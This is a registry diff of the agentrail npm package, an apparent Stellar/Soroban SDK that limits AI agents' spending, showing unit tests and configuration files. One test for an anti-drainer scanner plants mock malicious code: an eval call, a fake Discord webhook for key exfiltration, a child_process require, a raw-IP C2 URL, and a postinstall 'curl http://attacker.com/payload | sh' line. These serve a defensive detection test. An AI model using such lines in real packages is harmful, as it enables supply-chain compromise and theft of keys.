@sparkysolutions/agentrail 0.0.0-stage → 0.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (88) hide show
  1. package/.github/ISSUE_TEMPLATE/drips_wave_task.md +33 -0
  2. package/.github/workflows/auto-merge.yml +119 -0
  3. package/.github/workflows/ci.yml +35 -0
  4. package/BENCHMARKS.md +67 -0
  5. package/CONTRIBUTING.md +40 -0
  6. package/DRIPS_WAVE.md +81 -0
  7. package/FUNDING.json +7 -0
  8. package/ISSUES_PIPELINE.json +106 -0
  9. package/LICENSE +21 -0
  10. package/README.md +145 -2
  11. package/RUNBOOK.md +95 -0
  12. package/SCF_ACTIVATION_PROPOSAL.md +137 -0
  13. package/assets/sorobanagents_avatar.jpg +0 -0
  14. package/assets/sorobanagents_avatar.png +0 -0
  15. package/assets/sorobanagents_avatar_elite.png +0 -0
  16. package/contracts/agentrail/Cargo.lock +1895 -0
  17. package/contracts/agentrail/Cargo.toml +25 -0
  18. package/contracts/agentrail/src/lib.rs +296 -0
  19. package/contracts/agentrail/src/test.rs +442 -0
  20. package/contracts/agentrail/test_snapshots/test/test_circuit_breaker_pause_and_unpause.1.json +195 -0
  21. package/contracts/agentrail/test_snapshots/test/test_double_initialize_fails.1.json +123 -0
  22. package/contracts/agentrail/test_snapshots/test/test_execute_spend_deducts_and_accumulates.1.json +347 -0
  23. package/contracts/agentrail/test_snapshots/test/test_get_allowance_returns_none_for_unregistered.1.json +61 -0
  24. package/contracts/agentrail/test_snapshots/test/test_get_version_matches_cargo_toml.1.json +61 -0
  25. package/contracts/agentrail/test_snapshots/test/test_grant_allowance_negative_amount_fails.1.json +123 -0
  26. package/contracts/agentrail/test_snapshots/test/test_grant_allowance_success.1.json +250 -0
  27. package/contracts/agentrail/test_snapshots/test/test_grant_allowance_zero_amount_fails.1.json +123 -0
  28. package/contracts/agentrail/test_snapshots/test/test_initialize_and_protocol_fee.1.json +154 -0
  29. package/contracts/agentrail/test_snapshots/test/test_initialize_success.1.json +124 -0
  30. package/contracts/agentrail/test_snapshots/test/test_initialize_with_excessive_fee_fails.1.json +61 -0
  31. package/contracts/agentrail/test_snapshots/test/test_max_protocol_fee_spend_boundary.1.json +298 -0
  32. package/contracts/agentrail/test_snapshots/test/test_multi_agent_allowance_isolation.1.json +426 -0
  33. package/contracts/agentrail/test_snapshots/test/test_multi_owner_isolation.1.json +426 -0
  34. package/contracts/agentrail/test_snapshots/test/test_regrant_allowance_updates_limits.1.json +346 -0
  35. package/contracts/agentrail/test_snapshots/test/test_revoke_allowance_freezes_spending.1.json +292 -0
  36. package/contracts/agentrail/test_snapshots/test/test_set_protocol_fee_by_admin.1.json +165 -0
  37. package/contracts/agentrail/test_snapshots/test/test_spend_after_expiry_fails.1.json +250 -0
  38. package/contracts/agentrail/test_snapshots/test/test_spend_exact_allowance_boundary.1.json +298 -0
  39. package/contracts/agentrail/test_snapshots/test/test_spend_exceeding_allowance_fails.1.json +250 -0
  40. package/contracts/agentrail/test_snapshots/test/test_spend_fails_when_circuit_breaker_tripped.1.json +285 -0
  41. package/contracts/agentrail/test_snapshots/test/test_spend_negative_amount_fails.1.json +250 -0
  42. package/contracts/agentrail/test_snapshots/test/test_spend_non_existent_allowance_fails.1.json +123 -0
  43. package/contracts/agentrail/test_snapshots/test/test_spend_on_revoked_allowance_fails.1.json +292 -0
  44. package/contracts/agentrail/test_snapshots/test/test_spend_with_protocol_fee.1.json +286 -0
  45. package/contracts/agentrail/test_snapshots/test/test_spend_zero_amount_fails.1.json +250 -0
  46. package/contracts/agentrail/test_snapshots/test/test_unpause_restores_spend_operations.1.json +370 -0
  47. package/contracts/agentrail/test_snapshots/test/test_zero_protocol_fee_spend.1.json +298 -0
  48. package/deployment.testnet.json +15 -0
  49. package/dist/cli/sandbox.d.ts +41 -0
  50. package/dist/cli/sandbox.js +82 -0
  51. package/dist/index.d.ts +10 -0
  52. package/dist/index.js +26 -0
  53. package/dist/lib/micro-stream.d.ts +21 -0
  54. package/dist/lib/micro-stream.js +41 -0
  55. package/dist/lib/proof-of-task.d.ts +12 -0
  56. package/dist/lib/proof-of-task.js +32 -0
  57. package/dist/lib/scoped-allowance.d.ts +11 -0
  58. package/dist/lib/scoped-allowance.js +95 -0
  59. package/dist/lib/ttl-keeper.d.ts +10 -0
  60. package/dist/lib/ttl-keeper.js +36 -0
  61. package/dist/sdk/agent-client.d.ts +26 -0
  62. package/dist/sdk/agent-client.js +53 -0
  63. package/dist/types.d.ts +72 -0
  64. package/dist/types.js +5 -0
  65. package/docs/assets/favicon.png +0 -0
  66. package/docs/assets/logo.png +0 -0
  67. package/docs/index.html +840 -0
  68. package/package.json +38 -4
  69. package/scripts/demo-agent.ts +52 -0
  70. package/scripts/deploy-testnet.ts +228 -0
  71. package/scripts/security-audit.mjs +159 -0
  72. package/src/cli/sandbox.ts +127 -0
  73. package/src/index.ts +11 -0
  74. package/src/lib/micro-stream.ts +52 -0
  75. package/src/lib/proof-of-task.ts +39 -0
  76. package/src/lib/scoped-allowance.ts +112 -0
  77. package/src/lib/ttl-keeper.ts +44 -0
  78. package/src/sdk/agent-client.ts +66 -0
  79. package/src/types.ts +78 -0
  80. package/tests/agent-client.test.ts +62 -0
  81. package/tests/cli.test.ts +68 -0
  82. package/tests/micro-stream.test.ts +38 -0
  83. package/tests/proof-of-task.test.ts +78 -0
  84. package/tests/scoped-allowance.test.ts +135 -0
  85. package/tests/security-audit.test.ts +76 -0
  86. package/tests/ttl-keeper.test.ts +36 -0
  87. package/tsconfig.json +16 -0
  88. package/vitest.config.ts +8 -0
@@ -0,0 +1,135 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { verifyAndDeductSpend, renewEpochAllowance } from "../src/lib/scoped-allowance.js";
3
+ import { ScopedAllowance, SpendRequest } from "../src/types.js";
4
+
5
+ const now = Math.floor(Date.now() / 1000);
6
+
7
+ function createMockAllowance(overrides: Partial<ScopedAllowance> = {}): ScopedAllowance {
8
+ return {
9
+ id: "allowance-001",
10
+ ownerPublicKey: "GOWNER1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
11
+ agentPublicKey: "GAGENT1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
12
+ maxStroops: 10_000_000n, // 1 USDC
13
+ spentStroops: 0n,
14
+ validFrom: now - 3600,
15
+ validUntil: now + 3600,
16
+ allowedDestinations: ["GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"],
17
+ active: true,
18
+ ...overrides,
19
+ };
20
+ }
21
+
22
+ describe("Scoped Allowance Module", () => {
23
+ it("authorizes valid spend and deducts from allowance", () => {
24
+ const allowance = createMockAllowance();
25
+ const req: SpendRequest = {
26
+ allowanceId: allowance.id,
27
+ agentPublicKey: allowance.agentPublicKey,
28
+ destination: "GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
29
+ amountStroops: 2_000_000n,
30
+ timestamp: now,
31
+ };
32
+
33
+ const res = verifyAndDeductSpend(allowance, req);
34
+ expect(res.ok).toBe(true);
35
+ expect(res.code).toBe("SPEND_AUTHORIZED");
36
+ expect(res.spentStroops).toBe(2_000_000n);
37
+ expect(res.remainingStroops).toBe(8_000_000n);
38
+ // 20 bps = 0.20% of 2,000,000 = 4,000 stroops fee
39
+ expect(res.feeStroops).toBe(4_000n);
40
+ expect(res.netStroops).toBe(1_996_000n);
41
+ expect(res.treasuryPublicKey).toBe("GDDJH64X5VEXI7UWZMJA3YUG7ANYHKRRRFHLD2SF5OWEETNFBVYMRXZT");
42
+ });
43
+
44
+ it("calculates custom protocol fee bps when specified", () => {
45
+ const allowance = createMockAllowance({
46
+ protocolFeeBps: 50, // 0.50%
47
+ treasuryPublicKey: "GTREASURYCUSTOM11111111111111111111111111111111111111",
48
+ });
49
+ const req: SpendRequest = {
50
+ allowanceId: allowance.id,
51
+ agentPublicKey: allowance.agentPublicKey,
52
+ destination: "GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
53
+ amountStroops: 10_000_000n,
54
+ timestamp: now,
55
+ };
56
+
57
+ const res = verifyAndDeductSpend(allowance, req);
58
+ expect(res.ok).toBe(true);
59
+ // 50 bps = 0.50% of 10,000,000 = 50,000 stroops
60
+ expect(res.feeStroops).toBe(50_000n);
61
+ expect(res.netStroops).toBe(9_950_000n);
62
+ expect(res.treasuryPublicKey).toBe("GTREASURYCUSTOM11111111111111111111111111111111111111");
63
+ });
64
+
65
+ it("rejects spend when allowance is inactive/paused", () => {
66
+ const allowance = createMockAllowance({ active: false });
67
+ const req: SpendRequest = {
68
+ allowanceId: allowance.id,
69
+ agentPublicKey: allowance.agentPublicKey,
70
+ destination: "GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
71
+ amountStroops: 1000n,
72
+ timestamp: now,
73
+ };
74
+
75
+ const res = verifyAndDeductSpend(allowance, req);
76
+ expect(res.ok).toBe(false);
77
+ expect(res.code).toBe("ALLOWANCE_PAUSED");
78
+ });
79
+
80
+ it("rejects unauthorized agent public key", () => {
81
+ const allowance = createMockAllowance();
82
+ const req: SpendRequest = {
83
+ allowanceId: allowance.id,
84
+ agentPublicKey: "GWRONGAGENT99999999999999999999999999999999999999999",
85
+ destination: "GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
86
+ amountStroops: 1000n,
87
+ timestamp: now,
88
+ };
89
+
90
+ const res = verifyAndDeductSpend(allowance, req);
91
+ expect(res.ok).toBe(false);
92
+ expect(res.code).toBe("UNAUTHORIZED_AGENT");
93
+ });
94
+
95
+ it("rejects spend exceeding remaining allowance", () => {
96
+ const allowance = createMockAllowance({ maxStroops: 5_000_000n });
97
+ const req: SpendRequest = {
98
+ allowanceId: allowance.id,
99
+ agentPublicKey: allowance.agentPublicKey,
100
+ destination: "GDEST1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890",
101
+ amountStroops: 6_000_000n,
102
+ timestamp: now,
103
+ };
104
+
105
+ const res = verifyAndDeductSpend(allowance, req);
106
+ expect(res.ok).toBe(false);
107
+ expect(res.code).toBe("ALLOWANCE_EXCEEDED");
108
+ });
109
+
110
+ it("rejects unapproved destination when destinations filter is set", () => {
111
+ const allowance = createMockAllowance({
112
+ allowedDestinations: ["GAPPROVED111111111111111111111111111111111111111111"],
113
+ });
114
+ const req: SpendRequest = {
115
+ allowanceId: allowance.id,
116
+ agentPublicKey: allowance.agentPublicKey,
117
+ destination: "GUNAPPROVED2222222222222222222222222222222222222222",
118
+ amountStroops: 1000n,
119
+ timestamp: now,
120
+ };
121
+
122
+ const res = verifyAndDeductSpend(allowance, req);
123
+ expect(res.ok).toBe(false);
124
+ expect(res.code).toBe("UNAPPROVED_DESTINATION");
125
+ });
126
+
127
+ it("renews epoch allowance cleanly", () => {
128
+ const allowance = createMockAllowance({ spentStroops: 5_000_000n });
129
+ const renewed = renewEpochAllowance(allowance, now + 10, now + 86400);
130
+
131
+ expect(renewed.spentStroops).toBe(0n);
132
+ expect(renewed.validFrom).toBe(now + 10);
133
+ expect(renewed.validUntil).toBe(now + 86400);
134
+ });
135
+ });
@@ -0,0 +1,76 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { runSecurityAudit } from "../scripts/security-audit.mjs";
3
+ import fs from "node:fs";
4
+ import path from "node:path";
5
+ import os from "node:os";
6
+
7
+ describe("Autonomous Anti-Drainer Security Audit Scanner", () => {
8
+ it("should pass cleanly on the production codebase", () => {
9
+ const violations = runSecurityAudit(process.cwd());
10
+ expect(violations).toEqual([]);
11
+ });
12
+
13
+ it("should catch and flag simulated wallet drainer and exfiltration exploits", () => {
14
+ // Create a temporary sandbox directory with malicious mock code
15
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "agentrail-security-test-"));
16
+ const srcDir = path.join(tmpDir, "src");
17
+ fs.mkdirSync(srcDir, { recursive: true });
18
+
19
+ // Inject 4 distinct malicious attacker techniques:
20
+ // 1. Dynamic code evaluation (backdoor unpacker)
21
+ // 2. Secret exfiltration to discord webhook
22
+ // 3. Subprocess shell execution
23
+ // 4. Raw IP C2 communication
24
+ const maliciousCode = `
25
+ export function maliciousHelper(privateKey: string) {
26
+ // Attack 1: Dynamic eval
27
+ eval("globalThis.stealth = 1;");
28
+
29
+ // Attack 2: Exfiltrate key to discord webhook
30
+ const webhook = "https://discord.com/api/webhooks/12345/attacker_token";
31
+
32
+ // Attack 3: Shell command execution
33
+ const cp = require("child_process");
34
+
35
+ // Attack 4: Raw IP outbound communication
36
+ const c2 = "http://192.168.1.100/exfil";
37
+ return webhook;
38
+ }
39
+ `;
40
+
41
+ fs.writeFileSync(path.join(srcDir, "drainer_exploit.ts"), maliciousCode, "utf-8");
42
+
43
+ const violations = runSecurityAudit(tmpDir);
44
+
45
+ expect(violations.length).toBeGreaterThanOrEqual(4);
46
+ const rules = violations.map((v) => v.rule);
47
+ expect(rules).toContain("NO_EVAL_OR_DYNAMIC_EXECUTION");
48
+ expect(rules).toContain("NO_WEBHOOK_OR_C2_EXFILTRATION");
49
+ expect(rules).toContain("NO_CHILD_PROCESS_EXEC");
50
+ expect(rules).toContain("NO_RAW_IP_ENDPOINT_CALLS");
51
+
52
+ // Clean up temporary sandbox
53
+ fs.rmSync(tmpDir, { recursive: true, force: true });
54
+ });
55
+
56
+ it("should catch malicious npm postinstall scripts in package.json", () => {
57
+ const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "agentrail-pkg-test-"));
58
+ fs.mkdirSync(path.join(tmpDir, "src"), { recursive: true });
59
+
60
+ const maliciousPkg = {
61
+ name: "tampered-package",
62
+ scripts: {
63
+ postinstall: "curl -s http://attacker.com/payload | sh"
64
+ }
65
+ };
66
+
67
+ fs.writeFileSync(path.join(tmpDir, "package.json"), JSON.stringify(maliciousPkg, null, 2), "utf-8");
68
+
69
+ const violations = runSecurityAudit(tmpDir);
70
+ expect(violations.length).toBe(1);
71
+ expect(violations[0].rule).toBe("NO_DANGEROUS_LIFECYCLE_SCRIPTS");
72
+ expect(violations[0].severity).toBe("CRITICAL");
73
+
74
+ fs.rmSync(tmpDir, { recursive: true, force: true });
75
+ });
76
+ });
@@ -0,0 +1,36 @@
1
+ import { describe, it, expect } from "vitest";
2
+ import { evaluateContractTtl, DEFAULT_TTL_THRESHOLD_LEDGERS, DEFAULT_EXTEND_TO_LEDGERS } from "../src/lib/ttl-keeper.js";
3
+
4
+ describe("Soroban State TTL Keeper Module", () => {
5
+ const contractId = "CAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
6
+
7
+ it("reports no bump needed when remaining ledgers comfortably exceed threshold", () => {
8
+ const current = 100_000;
9
+ const liveUntil = 200_000; // 100,000 ledgers remaining > 17,280 threshold
10
+ const status = evaluateContractTtl(contractId, current, liveUntil);
11
+
12
+ expect(status.needsBump).toBe(false);
13
+ expect(status.remainingLedgers).toBe(100_000);
14
+ expect(status.recommendedExtendLedgers).toBe(0);
15
+ });
16
+
17
+ it("flags needsBump when remaining ledgers drop below threshold", () => {
18
+ const current = 100_000;
19
+ const liveUntil = 110_000; // 10,000 ledgers remaining <= 17,280 threshold
20
+ const status = evaluateContractTtl(contractId, current, liveUntil);
21
+
22
+ expect(status.needsBump).toBe(true);
23
+ expect(status.remainingLedgers).toBe(10_000);
24
+ expect(status.recommendedExtendLedgers).toBe(DEFAULT_EXTEND_TO_LEDGERS - 10_000);
25
+ });
26
+
27
+ it("handles expired ledger state by demanding immediate full extension", () => {
28
+ const current = 100_000;
29
+ const liveUntil = 95_000; // already expired
30
+ const status = evaluateContractTtl(contractId, current, liveUntil);
31
+
32
+ expect(status.needsBump).toBe(true);
33
+ expect(status.remainingLedgers).toBe(0);
34
+ expect(status.recommendedExtendLedgers).toBe(DEFAULT_EXTEND_TO_LEDGERS);
35
+ });
36
+ });
package/tsconfig.json ADDED
@@ -0,0 +1,16 @@
1
+ {
2
+ "compilerOptions": {
3
+ "target": "ES2022",
4
+ "module": "NodeNext",
5
+ "moduleResolution": "NodeNext",
6
+ "declaration": true,
7
+ "outDir": "./dist",
8
+ "rootDir": "./src",
9
+ "strict": true,
10
+ "esModuleInterop": true,
11
+ "skipLibCheck": true,
12
+ "forceConsistentCasingInFileNames": true
13
+ },
14
+ "include": ["src/**/*"],
15
+ "exclude": ["node_modules", "dist", "tests/**/*"]
16
+ }
@@ -0,0 +1,8 @@
1
+ import { defineConfig } from "vitest/config";
2
+
3
+ export default defineConfig({
4
+ test: {
5
+ globals: true,
6
+ environment: "node",
7
+ },
8
+ });